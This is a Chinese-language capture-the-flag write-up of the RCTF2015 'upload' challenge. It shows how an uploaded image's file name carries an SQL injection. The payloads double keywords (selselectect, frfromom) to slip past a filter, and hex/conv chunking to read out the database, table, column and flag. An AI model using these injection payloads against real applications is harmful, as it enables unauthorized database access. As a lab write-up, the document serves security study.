RCTF2015+XCTF复现之一次上传的图片的文件名造成注入
upload
sql注入
【原理】
首先先了解几个函数的意义:
mid(),hex(),conv()
mid():MID(str,pos,len)
从字符串str返回一个len个字符的子串,从位置pos开始。使用FROM的变种形式是ANSI SQL92语法。
mysql> select SUBSTRING('Quadratically',5,6);
-> 'ratica'
hex():返回十六进制值N一个字符串的表示,在此N是一个长整型(BIGINT)数字,这等价于CONV(N,10,16)。如果N是NULL,返回NULL。
mysql> select HEX(255);
-> 'FF'
CONV(N,from_base,to_base)
在不同的数字基数之间转换数字。将数字 N 从from_base 转换到 to_base,并以字符串形式返回。如果任何一个参数为 NULL,那么返回值也为 NULL。参数 N 被解释为是一个整数,但是也可以被指定为一个整数或一个字符串。最小基为 2,最大基为 36。如果 to_base 是一个负值,N 将被看作为是一个有符号数字。否则,N 被视为是无符号的。CONV 以 64 位精度工作。
mysql> select conv(100,10,2);
+----------------+
| conv(100,10,2) |
+----------------+
| 1100100 |
+----------------+
---------------------
【步骤】
图片的文件名可以造成注入
因为这个题目对select from 有过滤,所以用 selselectect frfromom 代替
构造payload
查询数据库:
sql '+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg
返回:sql 131277325825392 => web_up
sql '+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg
返回:sql 1819238756 => load
拼接起来得知数据库名为:web_upload
然后查表:
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom
information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit
1,1)),1,12),16,10))+'.jpg
返回:sql 114784820031327 => hello_
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom
information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit
1,1)),13,12),16,10))+'.jpg
返回:sql 112615676665705 => flag_i
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom
information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit
1,1)),25,12),16,10))+'.jpg
返回:sql 126853610566245 => s_here
拼接起来得知存放flag的表名为:hello_flag_is_here
然后查这个表里有什么字段:
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom
information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit
0,1)),1,12),16,10))+'.jpg
返回:sql 115858377367398 => i_am_f
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom
information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit
0,1)),13,12),16,10))+'.jpg
返回:sql 7102823=> lag
拼接起来得知存放flag的字段是:i_am_flag
然后查询flag:
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
返回: sql 36427215695199 => !!_@m_
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
返回:sql 92806431727430=> Th.e_F
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg
返回: sql 560750951=> !lag
拼起来之后得到flag:!!_@m_Th.e_F!lag
参考https://blog.csdn.net/niexinming/article/details/49888893?utm_source=blogxgwz0